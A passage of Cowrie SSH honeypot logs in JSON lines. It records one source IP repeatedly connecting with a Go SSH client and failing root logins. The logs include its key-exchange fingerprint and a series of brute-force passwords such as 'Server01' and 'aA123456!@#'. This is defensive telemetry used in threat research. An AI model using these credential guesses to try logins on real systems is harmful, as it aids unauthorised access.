sh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:14.135567Z","src_ip":"60.165.124.241","session":"34c8b2267159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jitadmin","message":"login attempt [root/jitadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:14.858971Z","src_ip":"60.165.124.241","session":"34c8b2267159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:16.114252Z","src_ip":"60.165.124.241","session":"34c8b2267159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48562,"dst_ip":"10.17.0.5","dst_port":22,"session":"17d5ff20859a","protocol":"ssh","message":"New connection: 60.165.124.241:48562 (10.17.0.5:22) [session: 17d5ff20859a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:16.346589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:16.354444Z","src_ip":"60.165.124.241","session":"17d5ff20859a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:17.303745Z","src_ip":"60.165.124.241","session":"17d5ff20859a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22446688","message":"login attempt [root/22446688] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:18.053703Z","src_ip":"60.165.124.241","session":"17d5ff20859a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:19.302310Z","src_ip":"60.165.124.241","session":"17d5ff20859a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52288,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1a8abd25fcd","protocol":"ssh","message":"New connection: 60.165.124.241:52288 (10.17.0.5:22) [session: a1a8abd25fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:19.541332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:19.547212Z","src_ip":"60.165.124.241","session":"a1a8abd25fcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:19.807149Z","src_ip":"60.165.124.241","session":"a1a8abd25fcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1a2a3a4","message":"login attempt [root/a1a2a3a4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:20.576831Z","src_ip":"60.165.124.241","session":"a1a8abd25fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:21.834412Z","src_ip":"60.165.124.241","session":"a1a8abd25fcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55756,"dst_ip":"10.17.0.5","dst_port":22,"session":"abbaa9978bdf","protocol":"ssh","message":"New connection: 60.165.124.241:55756 (10.17.0.5:22) [session: abbaa9978bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:22.111108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:22.116800Z","src_ip":"60.165.124.241","session":"abbaa9978bdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:22.385507Z","src_ip":"60.165.124.241","session":"abbaa9978bdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server01","message":"login attempt [root/Server01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:23.192560Z","src_ip":"60.165.124.241","session":"abbaa9978bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:25.084026Z","src_ip":"60.165.124.241","session":"abbaa9978bdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59398,"dst_ip":"10.17.0.5","dst_port":22,"session":"a54937a669a6","protocol":"ssh","message":"New connection: 60.165.124.241:59398 (10.17.0.5:22) [session: a54937a669a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:25.305064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:25.314435Z","src_ip":"60.165.124.241","session":"a54937a669a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:25.557276Z","src_ip":"60.165.124.241","session":"a54937a669a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shasha","message":"login attempt [root/shasha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:26.325360Z","src_ip":"60.165.124.241","session":"a54937a669a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:27.567989Z","src_ip":"60.165.124.241","session":"a54937a669a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34104,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bf7a4c47f97","protocol":"ssh","message":"New connection: 60.165.124.241:34104 (10.17.0.5:22) [session: 4bf7a4c47f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:27.801734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:27.812846Z","src_ip":"60.165.124.241","session":"4bf7a4c47f97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:28.059304Z","src_ip":"60.165.124.241","session":"4bf7a4c47f97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456!@#","message":"login attempt [root/aA123456!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:29.035821Z","src_ip":"60.165.124.241","session":"4bf7a4c47f97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:30.277924Z","src_ip":"60.165.124.241","session":"4bf7a4c47f97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37226,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae26ceb700fb","protocol":"ssh","message":"New connection: 60.165.124.241:37226 (10.17.0.5:22) [session: ae26ceb700fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:30.526858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:30.534747Z","src_ip":"60.165.124.241","session":"ae26ceb700fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:30.785936Z","src_ip":"60.165.124.241","session":"ae26ceb700fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"&UJM7ujm","message":"login attempt [root/&UJM7ujm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:32.186393Z","src_ip":"60.165.124.241","session":"ae26ceb700fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:33.429203Z","src_ip":"60.165.124.241","session":"ae26ceb700fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41196,"dst_ip":"10.17.0.5","dst_port":22,"session":"074bdb4af8ab","protocol":"ssh","message":"New connection: 60.165.124.241:41196 (10.17.0.5:22) [session: 074bdb4af8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:34.718343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:34.723480Z","src_ip":"60.165.124.241","session":"074bdb4af8ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:34.995772Z","src_ip":"60.165.124.241","session":"074bdb4af8ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4rfv5tgb","message":"login attempt [root/4rfv5tgb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:35.818794Z","src_ip":"60.165.124.241","session":"074bdb4af8ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:37.743665Z","src_ip":"60.165.124.241","session":"074bdb4af8ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46052,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8f93ea9db18","protocol":"ssh","message":"New connection: 60.165.124.241:46052 (10.17.0.5:22) [session: e8f93ea9db18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:37.981540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:37.990149Z","src_ip":"60.165.124.241","session":"e8f93ea9db18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:38.242900Z","src_ip":"60.165.124.241","session":"e8f93ea9db18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456@","message":"login attempt [root/Abc123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:39.021477Z","src_ip":"60.165.124.241","session":"e8f93ea9db18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:40.284776Z","src_ip":"60.165.124.241","session":"e8f93ea9db18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49228,"dst_ip":"10.17.0.5","dst_port":22,"session":"86bc6e5fd546","protocol":"ssh","message":"New connection: 60.165.124.241:49228 (10.17.0.5:22) [session: 86bc6e5fd546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:40.534125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:40.538367Z","src_ip":"60.165.124.241","session":"86bc6e5fd546","protocol":"ssh"}
